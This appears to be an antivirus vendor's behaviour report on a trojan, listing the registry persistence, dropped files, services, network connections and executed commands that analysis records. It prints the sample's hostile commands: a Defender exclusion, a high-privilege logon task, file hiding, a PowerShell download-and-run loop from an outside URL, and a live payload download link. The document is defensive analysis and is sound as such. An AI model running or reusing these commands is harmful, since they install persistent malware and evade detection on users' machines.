Trojan.Siggen32.5427

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'MyStartupFile' = '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\file1.exe'

Creates or modifies the following files

<SYSTEM32>\tasks\services64
%APPDATA%\microsoft\windows\start menu\programs\startup\file1.exe
<SYSTEM32>\tasks\mystartuptask

Sets the following service settings

[HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%APPDATA%\Microsoft\Libs\WR64.sys'

Creates the following services

'WinRing0_1_2_0' %APPDATA%\Microsoft\Libs\WR64.sys

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%'"

Downloads and executes

$url as %temp%\wpvihœÿm38sqdðððñmfv87.exe

Executes the following

'<SYSTEM32>\taskkill.exe' /f /im chrome.exe

Downloads

https://github.com/mrsilencekill-boop/ffree/releases/download/f/ffree.exe as %localappdata%\file.exe

Injects code into

the following system processes:

<SYSTEM32>\conhost.exe

Modifies file system

Creates the following files

%TEMP%\_mei59482\vcruntime140.dll
%TEMP%\_mei59482\_bz2.pyd
%TEMP%\_mei59482\_ctypes.pyd
%TEMP%\_mei59482\_decimal.pyd
%TEMP%\_mei59482\_hashlib.pyd
%TEMP%\_mei59482\_lzma.pyd
%TEMP%\_mei59482\_socket.pyd
%TEMP%\_mei59482\base_library.zip
%TEMP%\_mei59482\libcrypto-3.dll
%TEMP%\_mei59482\libffi-8.dll
%TEMP%\_mei59482\myicon.ico
%TEMP%\_mei59482\python313.dll
%TEMP%\_mei59482\select.pyd
%TEMP%\_mei59482\unicodedata.pyd
%TEMP%\ejoibm2f
%TEMP%\wpvihœÐÑm38sqdÐÐÐÑmfv87.exe
%TEMP%\da91.tmp\da92.tmp\da93.bat
%LOCALAPPDATA%\file.exe
%TEMP%\_mei8042\vcruntime140.dll
%TEMP%\_mei8042\vcruntime140_1.dll
%TEMP%\_mei8042\_bz2.pyd
%TEMP%\_mei8042\_ctypes.pyd
%TEMP%\_mei8042\_decimal.pyd
%TEMP%\_mei8042\_hashlib.pyd
%TEMP%\_mei8042\_lzma.pyd
%TEMP%\_mei8042\_socket.pyd
%TEMP%\_mei8042\_ssl.pyd
%TEMP%\_mei8042\_zstd.pyd
%TEMP%\_mei8042\api-ms-win-core-console-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-datetime-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-debug-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-errorhandling-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-fibers-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-file-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-file-l1-2-0.dll
%TEMP%\_mei8042\api-ms-win-core-file-l2-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-handle-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-heap-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-interlocked-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-libraryloader-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-localization-l1-2-0.dll
%TEMP%\_mei8042\api-ms-win-core-memory-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-namedpipe-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-processenvironment-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-processthreads-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-processthreads-l1-1-1.dll
%TEMP%\_mei8042\api-ms-win-core-profile-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-rtlsupport-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-string-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-synch-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-synch-l1-2-0.dll
%TEMP%\_mei8042\api-ms-win-core-sysinfo-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-timezone-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-util-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-conio-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-convert-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-environment-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-filesystem-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-heap-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-locale-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-math-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-process-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-runtime-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-stdio-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-string-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-time-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-utility-l1-1-0.dll
%TEMP%\_mei8042\base_library.zip
%TEMP%\_mei8042\libcrypto-3.dll
%TEMP%\_mei8042\libffi-8.dll
%TEMP%\_mei8042\libssl-3.dll
%TEMP%\_mei8042\python314.dll
%TEMP%\_mei8042\pywin32_system32\pywintypes314.dll
%TEMP%\_mei8042\select.pyd
%TEMP%\_mei8042\ucrtbase.dll
%TEMP%\_mei8042\unicodedata.pyd
%TEMP%\_mei8042\win32\win32api.pyd
%TEMP%\_mei8042\win32\win32console.pyd
%TEMP%\_mei8042\win32\win32gui.pyd
%TEMP%\file1.exe
%TEMP%\file2.exe
%TEMP%\_mei25442\vcruntime140.dll
%TEMP%\_mei25442\_asyncio.pyd
%TEMP%\_mei25442\_bz2.pyd
%TEMP%\_mei25442\_cffi_backend.cp313-win_amd64.pyd
%TEMP%\_mei25442\_ctypes.pyd
%TEMP%\_mei25442\_decimal.pyd
%TEMP%\_mei25442\_hashlib.pyd
%TEMP%\_mei25442\_lzma.pyd
%TEMP%\_mei25442\_multiprocessing.pyd
%TEMP%\_mei25442\_overlapped.pyd
%TEMP%\_mei25442\_queue.pyd
%TEMP%\_mei25442\_socket.pyd
%TEMP%\_mei25442\_ssl.pyd
%TEMP%\_mei25442\api-ms-win-core-console-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-datetime-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-debug-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-errorhandling-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-fibers-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-fibers-l1-1-1.dll
%TEMP%\_mei25442\api-ms-win-core-file-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-file-l1-2-0.dll
%TEMP%\_mei25442\api-ms-win-core-file-l2-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-handle-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-heap-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-interlocked-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-kernel32-legacy-l1-1-1.dll
%TEMP%\_mei25442\api-ms-win-core-libraryloader-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-localization-l1-2-0.dll
%TEMP%\_mei25442\api-ms-win-core-memory-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-namedpipe-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-processenvironment-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-processthreads-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-processthreads-l1-1-1.dll
%TEMP%\_mei25442\api-ms-win-core-profile-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-rtlsupport-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-string-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-synch-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-synch-l1-2-0.dll
%TEMP%\_mei25442\api-ms-win-core-sysinfo-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-sysinfo-l1-2-0.dll
%TEMP%\_mei25442\api-ms-win-core-timezone-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-util-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-conio-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-convert-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-environment-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-filesystem-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-heap-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-locale-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-math-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-process-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-runtime-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-stdio-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-string-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-time-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-utility-l1-1-0.dll
%TEMP%\_mei25442\base_library.zip
%TEMP%\_mei25442\certifi\cacert.pem
%TEMP%\_mei25442\charset_normalizer\md.cp313-win_amd64.pyd
%TEMP%\_mei25442\charset_normalizer\md__mypyc.cp313-win_amd64.pyd
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\installer
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\metadata
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\record
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\wheel
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\licenses\license
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\licenses\license.apache
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\licenses\license.bsd
%TEMP%\_mei25442\cryptography\hazmat\bindings\_rust.pyd
%TEMP%\_mei25442\h2-4.2.0.dist-info\installer
%TEMP%\_mei25442\h2-4.2.0.dist-info\license
%TEMP%\_mei25442\h2-4.2.0.dist-info\metadata
%TEMP%\_mei25442\h2-4.2.0.dist-info\record
%TEMP%\_mei25442\h2-4.2.0.dist-info\wheel
%TEMP%\_mei25442\h2-4.2.0.dist-info\top_level.txt
%TEMP%\_mei25442\libcrypto-3.dll
%TEMP%\_mei25442\libffi-8.dll
%TEMP%\_mei25442\libssl-3.dll
%TEMP%\_mei25442\pyexpat.pyd
%TEMP%\_mei25442\python3.dll
%TEMP%\_mei25442\python313.dll
%TEMP%\_mei25442\select.pyd
%TEMP%\_mei25442\ucrtbase.dll
%TEMP%\_mei25442\unicodedata.pyd
%APPDATA%\mypythonapp\payload.zip
%APPDATA%\mypythonapp\payload\chrome_inject_arm64.exe
%APPDATA%\mypythonapp\payload\chrome_inject_x64.exe
%APPDATA%\mypythonapp\payload\encryptor.exe
%ProgramFiles%\google\chrome\application\chrome_inject_arm64.exe
%ProgramFiles%\google\chrome\application\chrome_inject_x64.exe
%ProgramFiles%\google\chrome\application\encryptor.exe

Sets the 'hidden' attribute to the following files

%LOCALAPPDATA%\file.exe
%TEMP%\wpvihœÐÑm38sqdÐÐÐÑmfv87.exe
%TEMP%\file1.exe
%TEMP%\file2.exe

Deletes following files that it created itself

%TEMP%\ejoibm2f
%TEMP%\da91.tmp\da92.tmp\da93.bat
%TEMP%\wpvihœÐÑm38sqdÐÐÐÑmfv87.exe
%TEMP%\_mei59482\base_library.zip
%TEMP%\_mei59482\libcrypto-3.dll
%TEMP%\_mei59482\libffi-8.dll
%TEMP%\_mei59482\myicon.ico
%TEMP%\_mei59482\python313.dll
%TEMP%\_mei59482\select.pyd
%TEMP%\_mei59482\unicodedata.pyd
%TEMP%\_mei59482\vcruntime140.dll
%TEMP%\_mei59482\_bz2.pyd
%TEMP%\_mei59482\_ctypes.pyd
%TEMP%\_mei59482\_decimal.pyd
%TEMP%\_mei59482\_hashlib.pyd
%TEMP%\_mei59482\_lzma.pyd
%TEMP%\_mei59482\_socket.pyd
%APPDATA%\mypythonapp\payload.zip
%APPDATA%\mypythonapp\payload\chrome_inject_arm64.exe
%APPDATA%\mypythonapp\payload\chrome_inject_x64.exe
%APPDATA%\mypythonapp\payload\encryptor.exe
%ProgramFiles%\google\chrome\application\chrome_inject_x64.exe
%ProgramFiles%\google\chrome\application\chrome_inject_arm64.exe
%ProgramFiles%\google\chrome\application\encryptor.exe
%TEMP%\_mei25442\api-ms-win-core-console-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-datetime-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-debug-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-errorhandling-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-fibers-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-fibers-l1-1-1.dll
%TEMP%\_mei25442\api-ms-win-core-file-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-file-l1-2-0.dll
%TEMP%\_mei25442\api-ms-win-core-file-l2-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-handle-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-heap-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-interlocked-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-kernel32-legacy-l1-1-1.dll
%TEMP%\_mei25442\api-ms-win-core-libraryloader-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-localization-l1-2-0.dll
%TEMP%\_mei25442\api-ms-win-core-memory-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-namedpipe-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-processenvironment-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-processthreads-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-processthreads-l1-1-1.dll
%TEMP%\_mei25442\api-ms-win-core-profile-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-rtlsupport-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-string-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-synch-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-synch-l1-2-0.dll
%TEMP%\_mei25442\api-ms-win-core-sysinfo-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-sysinfo-l1-2-0.dll
%TEMP%\_mei25442\api-ms-win-core-timezone-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-core-util-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-conio-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-convert-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-environment-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-filesystem-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-heap-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-locale-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-math-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-process-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-runtime-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-stdio-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-string-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-time-l1-1-0.dll
%TEMP%\_mei25442\api-ms-win-crt-utility-l1-1-0.dll
%TEMP%\_mei25442\base_library.zip
%TEMP%\_mei25442\certifi\cacert.pem
%TEMP%\_mei25442\charset_normalizer\md.cp313-win_amd64.pyd
%TEMP%\_mei25442\charset_normalizer\md__mypyc.cp313-win_amd64.pyd
%TEMP%\_mei25442\cryptography\hazmat\bindings\_rust.pyd
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\installer
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\licenses\license
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\licenses\license.apache
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\licenses\license.bsd
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\metadata
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\record
%TEMP%\_mei25442\cryptography-45.0.5.dist-info\wheel
%TEMP%\_mei25442\h2-4.2.0.dist-info\installer
%TEMP%\_mei25442\h2-4.2.0.dist-info\license
%TEMP%\_mei25442\h2-4.2.0.dist-info\metadata
%TEMP%\_mei25442\h2-4.2.0.dist-info\record
%TEMP%\_mei25442\h2-4.2.0.dist-info\top_level.txt
%TEMP%\_mei25442\h2-4.2.0.dist-info\wheel
%TEMP%\_mei25442\libcrypto-3.dll
%TEMP%\_mei25442\libffi-8.dll
%TEMP%\_mei25442\libssl-3.dll
%TEMP%\_mei25442\pyexpat.pyd
%TEMP%\_mei25442\python3.dll
%TEMP%\_mei25442\python313.dll
%TEMP%\_mei25442\select.pyd
%TEMP%\_mei25442\ucrtbase.dll
%TEMP%\_mei25442\unicodedata.pyd
%TEMP%\_mei25442\vcruntime140.dll
%TEMP%\_mei25442\_asyncio.pyd
%TEMP%\_mei25442\_bz2.pyd
%TEMP%\_mei25442\_cffi_backend.cp313-win_amd64.pyd
%TEMP%\_mei25442\_ctypes.pyd
%TEMP%\_mei25442\_decimal.pyd
%TEMP%\_mei25442\_hashlib.pyd
%TEMP%\_mei25442\_lzma.pyd
%TEMP%\_mei25442\_multiprocessing.pyd
%TEMP%\_mei25442\_overlapped.pyd
%TEMP%\_mei25442\_queue.pyd
%TEMP%\_mei25442\_socket.pyd
%TEMP%\_mei25442\_ssl.pyd
%TEMP%\_mei8042\api-ms-win-core-console-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-datetime-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-debug-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-errorhandling-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-fibers-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-file-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-file-l1-2-0.dll
%TEMP%\_mei8042\api-ms-win-core-file-l2-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-handle-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-heap-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-interlocked-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-libraryloader-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-localization-l1-2-0.dll
%TEMP%\_mei8042\api-ms-win-core-memory-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-namedpipe-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-processenvironment-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-processthreads-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-processthreads-l1-1-1.dll
%TEMP%\_mei8042\api-ms-win-core-profile-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-rtlsupport-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-string-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-synch-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-synch-l1-2-0.dll
%TEMP%\_mei8042\api-ms-win-core-sysinfo-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-timezone-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-core-util-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-conio-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-convert-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-environment-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-filesystem-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-heap-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-locale-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-math-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-process-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-runtime-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-stdio-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-string-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-time-l1-1-0.dll
%TEMP%\_mei8042\api-ms-win-crt-utility-l1-1-0.dll
%TEMP%\_mei8042\base_library.zip
%TEMP%\_mei8042\libcrypto-3.dll
%TEMP%\_mei8042\libffi-8.dll
%TEMP%\_mei8042\libssl-3.dll
%TEMP%\_mei8042\python314.dll
%TEMP%\_mei8042\pywin32_system32\pywintypes314.dll
%TEMP%\_mei8042\select.pyd
%TEMP%\_mei8042\ucrtbase.dll
%TEMP%\_mei8042\unicodedata.pyd
%TEMP%\_mei8042\vcruntime140.dll
%TEMP%\_mei8042\vcruntime140_1.dll
%TEMP%\_mei8042\win32\win32api.pyd
%TEMP%\_mei8042\win32\win32console.pyd
%TEMP%\_mei8042\win32\win32gui.pyd
%TEMP%\_mei8042\_bz2.pyd
%TEMP%\_mei8042\_ctypes.pyd
%TEMP%\_mei8042\_decimal.pyd
%TEMP%\_mei8042\_hashlib.pyd
%TEMP%\_mei8042\_lzma.pyd
%TEMP%\_mei8042\_socket.pyd
%TEMP%\_mei8042\_ssl.pyd
%TEMP%\_mei8042\_zstd.pyd

Network activity

Connects to

'my##hub.net':443
'x1.#.lencr.org':80
'in######ank.wifi4gamess.com':443
'gi##ub.com':443
're#########ets.githubusercontent.com':443

TCP

HTTP GET requests

http://x1.#.lencr.org/

Other

'my##hub.net':443
'es.###i4gamess.com':443
'gi##ub.com':443
're#########ets.githubusercontent.com':443

UDP

DNS ASK my##hub.net
DNS ASK x1.#.lencr.org
DNS ASK in######ank.wifi4gamess.com
DNS ASK es.###i4gamess.com
DNS ASK gi##ub.com
DNS ASK re#########ets.githubusercontent.com
DNS ASK po##.#ashvault.pro

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''

Creates and executes the following

'%TEMP%\wpvihœÐÑm38sqdÐÐÐÑmfv87.exe' /S /silent /verysilent
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Start-Process '%LOCALAPPDATA%\file.exe' -Verb runAs"
'%LOCALAPPDATA%\file.exe'
'%TEMP%\file1.exe'
'%TEMP%\file2.exe'
'%ProgramFiles%\google\chrome\application\chrome_inject_x64.exe' chrome --verbose
'%TEMP%\services64.exe'
'%APPDATA%\microsoft\libs\sihost64.exe'

Restarts the analyzed sample

Executes the following

'<SYSTEM32>\cmd.exe' /c "%TEMP%\wPVIHœŸM38SqdÐÐÐÑmFv87.exe /S /silent /verysilent"
'<SYSTEM32>\cmd.exe' /c "%TEMP%\DA91.tmp\DA92.tmp\DA93.bat %TEMP%\wPVIHœŸM38SqdÐÐÐÑmFv87.exe /S /silent /verysilent"
'<SYSTEM32>\attrib.exe' +h %LOCALAPPDATA%\file.exe
'<SYSTEM32>\cmd.exe' /c attrib +h "%TEMP%\wPVIHœŸM38SqdÐÐÐÑmFv87.exe" >nul 2>&1
'<SYSTEM32>\attrib.exe' +h "%TEMP%\wPVIHœŸM38SqdÐÐÐÑmFv87.exe"
'<SYSTEM32>\cmd.exe' /c "schtasks /create /tn MyStartupTask /tr %TEMP%\file1.exe /sc onlogon /rl highest /f"
'<SYSTEM32>\schtasks.exe' /create /tn MyStartupTask /tr %TEMP%\file1.exe /sc onlogon /rl highest /f
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -c " [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; $urls = @(\"https://mypchub.net/installbank\"); foreach ($url in $urls) { ...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "%TEMP%\wPVIHœŸM38SqdÐÐÐÑmFv87.exe /S /silent /verysilent"' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "%TEMP%\DA91.tmp\DA92.tmp\DA93.bat %TEMP%\wPVIHœŸM38SqdÐÐÐÑmFv87.exe /S /silent /verysilent"' (with hidden window)
'%TEMP%\file1.exe' ' (with hidden window)
'%TEMP%\file2.exe' ' (with hidden window)
'%APPDATA%\microsoft\libs\sihost64.exe' ' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "schtasks /create /tn MyStartupTask /tr %TEMP%\file1.exe /sc onlogon /rl highest /f"' (with hidden window)

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial